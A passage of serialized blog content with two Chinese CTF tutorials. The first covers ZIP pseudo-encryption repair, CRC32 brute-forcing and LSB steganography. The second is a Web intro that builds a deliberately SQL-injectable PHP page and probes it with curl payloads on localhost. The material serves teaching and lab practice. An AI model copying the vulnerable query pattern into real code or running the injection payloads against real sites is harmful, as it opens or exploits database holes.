'ctf{zip}')\n",[48,11894,11895],{"class":50,"line":120},[48,11896,111],{"emptyLinePlaceholder":110},[48,11898,11899],{"class":50,"line":126},[48,11900,11901],{},"data = open('flag.zip', 'rb').read()\n",[48,11903,11904],{"class":50,"line":132},[48,11905,11906],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,11908,3111],{},[39,11910,11913],{"className":11911,"code":11912,"language":287,"meta":44},[285],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[19,11914,11912],{"__ignoreMap":44},[15,11916,11917],{},"解释：",[39,11919,11922],{"className":11920,"code":11921,"language":287,"meta":44},[285],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[19,11923,11921],{"__ignoreMap":44},[462,11925,11927],{"id":11926},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,11929,11930,11932],{},[27,11931,258],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[39,11934,11936],{"className":383,"code":11935,"language":385,"meta":44,"style":44},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[19,11937,11938,11943,11947,11952,11957,11962,11966,11971,11976,11981,11985],{"__ignoreMap":44},[48,11939,11940],{"class":50,"line":51},[48,11941,11942],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[48,11944,11945],{"class":50,"line":68},[48,11946,111],{"emptyLinePlaceholder":110},[48,11948,11949],{"class":50,"line":107},[48,11950,11951],{},"# 本地文件头：偏移 6 处标志位置位\n",[48,11953,11954],{"class":50,"line":114},[48,11955,11956],{},"idx = data.find(b'PK\\x03\\x04')\n",[48,11958,11959],{"class":50,"line":120},[48,11960,11961],{},"data[idx + 6] |= 1\n",[48,11963,11964],{"class":50,"line":126},[48,11965,111],{"emptyLinePlaceholder":110},[48,11967,11968],{"class":50,"line":132},[48,11969,11970],{},"# 中央目录头：偏移 8 处标志位置位\n",[48,11972,11973],{"class":50,"line":137},[48,11974,11975],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[48,11977,11978],{"class":50,"line":143},[48,11979,11980],{},"data[idx2 + 8] |= 1\n",[48,11982,11983],{"class":50,"line":149},[48,11984,111],{"emptyLinePlaceholder":110},[48,11986,11987],{"class":50,"line":155},[48,11988,11989],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,11991,11992],{},"修改后的 hexdump：",[39,11994,11997],{"className":11995,"code":11996,"language":287,"meta":44},[285],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[19,11998,11996],{"__ignoreMap":44},[15,12000,12001],{},"尝试读取：",[39,12003,12005],{"className":383,"code":12004,"language":385,"meta":44,"style":44},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[19,12006,12007,12011,12015,12020,12025,12030,12035],{"__ignoreMap":44},[48,12008,12009],{"class":50,"line":51},[48,12010,11878],{},[48,12012,12013],{"class":50,"line":68},[48,12014,111],{"emptyLinePlaceholder":110},[48,12016,12017],{"class":50,"line":107},[48,12018,12019],{},"try:\n",[48,12021,12022],{"class":50,"line":114},[48,12023,12024],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[48,12026,12027],{"class":50,"line":120},[48,12028,12029],{},"        print(z.read('flag.txt'))\n",[48,12031,12032],{"class":50,"line":126},[48,12033,12034],{},"except Exception as e:\n",[48,12036,12037],{"class":50,"line":132},[48,12038,12039],{},"    print(type(e).__name__, e)\n",[15,12041,3111],{},[39,12043,12046],{"className":12044,"code":12045,"language":287,"meta":44},[285],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[19,12047,12045],{"__ignoreMap":44},[15,12049,12050],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[462,12052,12054],{"id":12053},"_44-修复","4.4 修复",[15,12056,12057,12059,12060,12063],{},[27,12058,258],{},"：把两处标志位最低位清零（",[19,12061,12062],{},"& 0xfe","），恢复成未加密状态。",[39,12065,12067],{"className":383,"code":12066,"language":385,"meta":44,"style":44},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[19,12068,12069,12074,12078,12082,12087,12091,12096,12100,12105,12109,12114],{"__ignoreMap":44},[48,12070,12071],{"class":50,"line":51},[48,12072,12073],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[48,12075,12076],{"class":50,"line":68},[48,12077,111],{"emptyLinePlaceholder":110},[48,12079,12080],{"class":50,"line":107},[48,12081,11956],{},[48,12083,12084],{"class":50,"line":114},[48,12085,12086],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[48,12088,12089],{"class":50,"line":120},[48,12090,11975],{},[48,12092,12093],{"class":50,"line":126},[48,12094,12095],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[48,12097,12098],{"class":50,"line":132},[48,12099,111],{"emptyLinePlaceholder":110},[48,12101,12102],{"class":50,"line":137},[48,12103,12104],{},"open('flag_fixed.zip', 'wb').write(data)\n",[48,12106,12107],{"class":50,"line":143},[48,12108,111],{"emptyLinePlaceholder":110},[48,12110,12111],{"class":50,"line":149},[48,12112,12113],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[48,12115,12116],{"class":50,"line":155},[48,12117,12118],{},"    print(z.read('flag.txt'))\n",[15,12120,3111],{},[39,12122,12125],{"className":12123,"code":12124,"language":287,"meta":44},[285],"b'ctf{zip}'\n",[19,12126,12124],{"__ignoreMap":44},[15,12128,12129,12130,12133],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[19,12131,12132],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12135,12137],{"id":12136},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12139,12140,12142],{},[27,12141,252],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12144,12145,12147],{},[27,12146,258],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12149,12150],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[39,12152,12154],{"className":383,"code":12153,"language":385,"meta":44,"style":44},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[19,12155,12156,12161,12166,12170,12175,12180,12185,12190,12194,12199,12204,12209,12214,12219,12224,12229,12234,12239,12244],{"__ignoreMap":44},[48,12157,12158],{"class":50,"line":51},[48,12159,12160],{},"import zipfile, zlib, itertools\n",[48,12162,12163],{"class":50,"line":68},[48,12164,12165],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[48,12167,12168],{"class":50,"line":107},[48,12169,111],{"emptyLinePlaceholder":110},[48,12171,12172],{"class":50,"line":114},[48,12173,12174],{},"z = zipfile.ZipFile('flag.zip')\n",[48,12176,12177],{"class":50,"line":120},[48,12178,12179],{},"target = z.getinfo('flag.txt').CRC\n",[48,12181,12182],{"class":50,"line":126},[48,12183,12184],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[48,12186,12187],{"class":50,"line":132},[48,12188,12189],{},"print(\"目标 CRC:\", target)\n",[48,12191,12192],{"class":50,"line":137},[48,12193,111],{"emptyLinePlaceholder":110},[48,12195,12196],{"class":50,"line":143},[48,12197,12198],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[48,12200,12201],{"class":50,"line":149},[48,12202,12203],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[48,12205,12206],{"class":50,"line":155},[48,12207,12208],{},"for length in range(1, 5):\n",[48,12210,12211],{"class":50,"line":160},[48,12212,12213],{},"    for tup in itertools.product(charset, repeat=length):\n",[48,12215,12216],{"class":50,"line":165},[48,12217,12218],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[48,12220,12221],{"class":50,"line":171},[48,12222,12223],{},"        s = ''.join(tup).encode()\n",[48,12225,12226],{"class":50,"line":177},[48,12227,12228],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[48,12230,12231],{"class":50,"line":183},[48,12232,12233],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[48,12235,12236],{"class":50,"line":189},[48,12237,12238],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[48,12240,12241],{"class":50,"line":195},[48,12242,12243],{},"            print(\"爆破结果:\", s)\n",[48,12245,12246],{"class":50,"line":201},[48,12247,12248],{},"            exit()\n",[15,12250,12251,12252,12255],{},"实际输出（目标内容 ",[19,12253,12254],{},"ctf1","）：",[39,12257,12260],{"className":12258,"code":12259,"language":287,"meta":44},[285],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[19,12261,12259],{"__ignoreMap":44},[15,12263,12264,12265,12268,12269,12272],{},"注意 ",[19,12266,12267],{},"zlib.crc32"," 返回有符号整数，需要 ",[19,12270,12271],{},"& 0xffffffff"," 归一化。",[10,12274,1934],{"id":1933},[294,12276,12277,12287],{},[297,12278,12279],{},[300,12280,12281,12283,12285],{},[303,12282,718],{},[303,12284,1945],{},[303,12286,4743],{},[313,12288,12289,12301,12315,12328],{},[300,12290,12291,12293,12296],{},[318,12292,1082],{},[318,12294,12295],{},"看类型",[318,12297,12298],{},[19,12299,12300],{},"file flag.png",[300,12302,12303,12305,12308],{},[318,12304,4150],{},[318,12306,12307],{},"看文件头与结构",[318,12309,12310,530,12312],{},[19,12311,4770],{},[19,12313,12314],{},"xxd flag.zip | head",[300,12316,12317,12319,12322],{},[318,12318,4242],{},[318,12320,12321],{},"扫描/提取隐藏文件",[318,12323,12324,530,12326],{},[19,12325,4798],{},[19,12327,4801],{},[300,12329,12330,12332,12335],{},[318,12331,4717],{},[318,12333,12334],{},"LSB 自动检测",[318,12336,12337],{},[19,12338,12339],{},"zsteg -a flag.png",[10,12341,12343],{"id":12342},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12345,12346,12348],{},[27,12347,252],{},"：把前三节串成一道完整题目。",[15,12350,12351,12353],{},[27,12352,258],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12355,793,12356,30],{},[19,12357,4810],{},[15,12359,4813],{},[39,12361,12363],{"className":41,"code":12362,"language":43,"meta":44,"style":44},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[19,12364,12365,12374,12391],{"__ignoreMap":44},[48,12366,12367,12369,12371],{"class":50,"line":51},[48,12368,1082],{"class":54},[48,12370,4121],{"class":58},[48,12372,12373],{"class":237},"          # PNG image data\n",[48,12375,12376,12378,12380,12382,12384,12386,12388],{"class":50,"line":68},[48,12377,1125],{"class":54},[48,12379,4121],{"class":58},[48,12381,1313],{"class":987},[48,12383,1316],{"class":54},[48,12385,4219],{"class":219},[48,12387,5877],{"class":58},[48,12389,12390],{"class":237},"    # 无输出\n",[48,12392,12393,12395,12397],{"class":50,"line":107},[48,12394,4242],{"class":54},[48,12396,4121],{"class":58},[48,12398,12399],{"class":237},"                   # 无隐藏文件\n",[15,12401,12402],{},"第二步：怀疑 LSB，运行提取脚本：",[39,12404,12406],{"className":12405,"code":4691,"language":287,"meta":44},[285],[19,12407,4691],{"__ignoreMap":44},[15,12409,12410,12411,12413],{},"变体：若提取出的字节不是文本而是 ",[19,12412,4028],{}," 开头，把它保存为 zip，再检查是否伪加密：",[39,12415,12417],{"className":383,"code":12416,"language":385,"meta":44,"style":44},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[19,12418,12419,12424],{"__ignoreMap":44},[48,12420,12421],{"class":50,"line":51},[48,12422,12423],{},"with open('extracted.zip', 'wb') as f:\n",[48,12425,12426],{"class":50,"line":68},[48,12427,12428],{},"    f.write(data)\n",[15,12430,12431],{},"然后按第四节流程检查并修复标志位。",[10,12433,2226],{"id":2225},[15,12435,12436,12437,12439,12440,740,12442,12444],{},"取证主线：",[19,12438,1082],{}," 确认类型 → ",[19,12441,1125],{},[19,12443,4242],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[920,12446,12447],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":44,"searchDepth":68,"depth":68,"links":12449},[12450,12451,12452,12453,12454,12455,12456,12457],{"id":11452,"depth":107,"text":11453},{"id":33,"depth":107,"text":34},{"id":11498,"depth":107,"text":11499},{"id":11828,"depth":107,"text":11829},{"id":12136,"depth":107,"text":12137},{"id":1933,"depth":107,"text":1934},{"id":12342,"depth":107,"text":12343},{"id":2225,"depth":107,"text":2226},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":938,"image":939,"alt":12460,"tags":12461,"published":110},"隐写与取证深入实战",[942,4909,12462,943],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11447,"description":12458},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12468,"title":12469,"body":12470,"description":14317,"extension":936,"meta":14318,"navigation":110,"ogImage":14319,"path":14322,"seo":14323,"stem":14324,"__hash__":14325},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12471,"toc":14305},[12472,12476,12479,12498,12504,12510,12512,12570,12580,12584,12587,12675,12678,12682,12686,12689,12692,12720,12725,12837,12840,12853,12857,12859,12873,12875,12880,12884,12892,12905,12910,12913,12943,12946,12951,12954,12957,12982,12987,12990,13015,13018,13026,13030,13035,13043,13046,13071,13074,13104,13109,13112,13137,13141,13144,13179,13183,13186,13216,13220,13223,13246,13250,13263,13273,13277,13282,13299,13303,13309,13318,13322,13338,13343,13347,13363,13365,13411,13420,13424,13427,13474,13481,13485,13488,13559,13566,13570,13575,13599,13603,13609,13642,13646,13677,13679,13685,13689,13720,13723,13727,13758,13761,13765,13790,13794,13797,13800,13814,13818,13823,13855,13864,13870,13901,13904,13908,13911,13965,13968,13972,13975,13978,13996,13998,14003,14006,14024,14029,14032,14058,14065,14069,14076,14096,14100,14105,14135,14140,14144,14153,14173,14175,14203,14206,14215,14224,14238,14242,14247,14290,14297,14299,14302],[10,12473,12475],{"id":12474},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12477,12478],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[39,12480,12482],{"className":41,"code":12481,"language":43,"meta":44,"style":44},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[19,12483,12484],{"__ignoreMap":44},[48,12485,12486,12488,12491,12493,12496],{"class":50,"line":51},[48,12487,5161],{"class":54},[48,12489,12490],{"class":219}," -v",[48,12492,5164],{"class":1325},[48,12494,12495],{"class":58},"http://127.0.0.1:8000/index.php?id=1",[48,12497,5170],{"class":1325},[15,12499,12500,12503],{},[19,12501,12502],{},"-v"," 会显示完整过程，输出示例：",[39,12505,12508],{"className":12506,"code":12507,"language":287,"meta":44},[285],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[19,12509,12507],{"__ignoreMap":44},[15,12511,11917],{},[294,12513,12514,12523],{},[297,12515,12516],{},[300,12517,12518,12521],{},[303,12519,12520],{},"部分",[303,12522,308],{},[313,12524,12525,12542,12552,12562],{},[300,12526,12527,12532],{},[318,12528,12529],{},[19,12530,12531],{},"GET /index.php?id=1",[318,12533,12534,12535,12538,12539],{},"方法 GET，路径 ",[19,12536,12537],{},"/index.php","，参数 ",[19,12540,12541],{},"id=1",[300,12543,12544,12549],{},[318,12545,12546],{},[19,12547,12548],{},"Host",[318,12550,12551],{},"目标主机",[300,12553,12554,12559],{},[318,12555,12556],{},[19,12557,12558],{},"HTTP/1.1 200 OK",[318,12560,12561],{},"协议版本与状态码，200 表示成功",[300,12563,12564,12567],{},[318,12565,12566],{},"正文",[318,12568,12569],{},"服务器返回的 HTML",[15,12571,12572,12573,12579],{},"Web 漏洞几乎都源于一件事：",[27,12574,12575,12576,12578],{},"参数 ",[19,12577,5136],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12581,12583],{"id":12582},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12585,12586],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[39,12588,12590],{"className":41,"code":12589,"language":43,"meta":44,"style":44},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[19,12591,12592,12597,12612,12620,12626,12638,12642,12647,12658],{"__ignoreMap":44},[48,12593,12594],{"class":50,"line":51},[48,12595,12596],{"class":237},"# 方式一：源码部署（需要 PHP + MySQL）\n",[48,12598,12599,12601,12603,12606,12609],{"class":50,"line":68},[48,12600,55],{"class":54},[48,12602,59],{"class":58},[48,12604,12605],{"class":58}," php",[48,12607,12608],{"class":58}," php-mysql",[48,12610,12611],{"class":58}," mariadb-server\n",[48,12613,12614,12616,12618],{"class":50,"line":107},[48,12615,4988],{"class":54},[48,12617,4991],{"class":58},[48,12619,4994],{"class":58},[48,12621,12622,12624],{"class":50,"line":114},[48,12623,1669],{"class":1668},[48,12625,5001],{"class":58},[48,12627,12628,12630,12632,12635],{"class":50,"line":120},[48,12629,4930],{"class":54},[48,12631,5008],{"class":219},[48,12633,12634],{"class":58}," 127.0.0.1:8000",[48,12636,12637],{"class":237},"        # 启动后浏览器访问，点 Setup/reset Database\n",[48,12639,12640],{"class":50,"line":126},[48,12641,111],{"emptyLinePlaceholder":110},[48,12643,12644],{"class":50,"line":132},[48,12645,12646],{"class":237},"# 方式二：Docker 部署（最简单）\n",[48,12648,12649,12652,12655],{"class":50,"line":137},[48,12650,12651],{"class":54},"docker",[48,12653,12654],{"class":58}," pull",[48,12656,12657],{"class":58}," tavenli/sqli-labs\n",[48,12659,12660,12662,12665,12667,12670,12673],{"class":50,"line":143},[48,12661,12651],{"class":54},[48,12663,12664],{"class":58}," run",[48,12666,1281],{"class":219},[48,12668,12669],{"class":219}," -p",[48,12671,12672],{"class":58}," 8000:80",[48,12674,12657],{"class":58},[15,12676,12677],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12679,12681],{"id":12680},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[462,12683,12685],{"id":12684},"_31-平台与代码","3.1 平台与代码",[15,12687,12688],{},"平台：Linux + PHP + MySQL。",[15,12690,12691],{},"第一步，建数据库。在 MySQL 里执行：",[39,12693,12694],{"className":4955,"code":5027,"language":4957,"meta":44,"style":44},[19,12695,12696,12700,12704,12708,12712,12716],{"__ignoreMap":44},[48,12697,12698],{"class":50,"line":51},[48,12699,5034],{},[48,12701,12702],{"class":50,"line":68},[48,12703,5039],{},[48,12705,12706],{"class":50,"line":107},[48,12707,5044],{},[48,12709,12710],{"class":50,"line":114},[48,12711,5049],{},[48,12713,12714],{"class":50,"line":120},[48,12715,5054],{},[48,12717,12718],{"class":50,"line":126},[48,12719,5059],{},[15,12721,12722,12723,87],{},"第二步，写漏洞页面 ",[19,12724,5064],{},[39,12726,12728],{"className":4928,"code":12727,"language":4930,"meta":44,"style":44},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[19,12729,12730,12734,12738,12743,12748,12752,12756,12761,12766,12770,12774,12779,12784,12789,12793,12797,12802,12806,12810,12815,12820,12824,12829,12833],{"__ignoreMap":44},[48,12731,12732],{"class":50,"line":51},[48,12733,5074],{},[48,12735,12736],{"class":50,"line":68},[48,12737,5079],{},[48,12739,12740],{"class":50,"line":107},[48,12741,12742],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[48,12744,12745],{"class":50,"line":114},[48,12746,12747],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[48,12749,12750],{"class":50,"line":120},[48,12751,111],{"emptyLinePlaceholder":110},[48,12753,12754],{"class":50,"line":126},[48,12755,4937],{},[48,12757,12758],{"class":50,"line":132},[48,12759,12760],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[48,12762,12763],{"class":50,"line":137},[48,12764,12765],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[48,12767,12768],{"class":50,"line":143},[48,12769,111],{"emptyLinePlaceholder":110},[48,12771,12772],{"class":50,"line":149},[48,12773,5088],{},[48,12775,12776],{"class":50,"line":155},[48,12777,12778],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[48,12780,12781],{"class":50,"line":160},[48,12782,12783],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[48,12785,12786],{"class":50,"line":165},[48,12787,12788],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[48,12790,12791],{"class":50,"line":171},[48,12792,111],{"emptyLinePlaceholder":110},[48,12794,12795],{"class":50,"line":177},[48,12796,5093],{},[48,12798,12799],{"class":50,"line":183},[48,12800,12801],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[48,12803,12804],{"class":50,"line":189},[48,12805,111],{"emptyLinePlaceholder":110},[48,12807,12808],{"class":50,"line":195},[48,12809,5098],{},[48,12811,12812],{"class":50,"line":201},[48,12813,12814],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[48,12816,12817],{"class":50,"line":3660},[48,12818,12819],{},"    // 取不到更多行时返回 null，while 结束。\n",[48,12821,12822],{"class":50,"line":3666},[48,12823,5103],{},[48,12825,12826],{"class":50,"line":3672},[48,12827,12828],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[48,12830,12831],{"class":50,"line":3678},[48,12832,129],{},[48,12834,12835],{"class":50,"line":3684},[48,12836,5112],{},[15,12838,12839],{},"第三步，启动：",[39,12841,12843],{"className":41,"code":12842,"language":43,"meta":44,"style":44},"php -S 127.0.0.1:8000\n",[19,12844,12845],{"__ignoreMap":44},[48,12846,12847,12849,12851],{"class":50,"line":51},[48,12848,4930],{"class":54},[48,12850,5008],{"class":219},[48,12852,5011],{"class":58},[462,12854,12856],{"id":12855},"_32-正常请求","3.2 正常请求",[15,12858,262],{},[39,12860,12861],{"className":41,"code":5154,"language":43,"meta":44,"style":44},[19,12862,12863],{"__ignoreMap":44},[48,12864,12865,12867,12869,12871],{"class":50,"line":51},[48,12866,5161],{"class":54},[48,12868,5164],{"class":1325},[48,12870,5167],{"class":58},[48,12872,5170],{"class":1325},[15,12874,281],{},[39,12876,12878],{"className":12877,"code":5176,"language":287,"meta":44},[285],[19,12879,5176],{"__ignoreMap":44},[462,12881,12883],{"id":12882},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,12885,12886,12888,12889,12891],{},[27,12887,252],{},"：确认 ",[19,12890,5136],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,12893,12894,12896,12897,12900,12901,12904],{},[27,12895,258],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[19,12898,12899],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[19,12902,12903],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,12906,12907,12909],{},[27,12908,836],{},"：逐条发送以下三个请求，对比输出。",[15,12911,12912],{},"输入 1：",[39,12914,12916],{"className":41,"code":12915,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[19,12917,12918,12928,12933,12938],{"__ignoreMap":44},[48,12919,12920,12922,12924,12926],{"class":50,"line":51},[48,12921,5161],{"class":54},[48,12923,5164],{"class":1325},[48,12925,5201],{"class":58},[48,12927,5170],{"class":1325},[48,12929,12930],{"class":50,"line":68},[48,12931,12932],{"class":237},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[48,12934,12935],{"class":50,"line":107},[48,12936,12937],{"class":237},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[48,12939,12940],{"class":50,"line":114},[48,12941,12942],{"class":237},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,12944,12945],{},"预期输出：SQL 语法错误，例如：",[39,12947,12949],{"className":12948,"code":5210,"language":287,"meta":44},[285],[19,12950,5210],{"__ignoreMap":44},[15,12952,12953],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,12955,12956],{},"输入 2：",[39,12958,12960],{"className":41,"code":12959,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 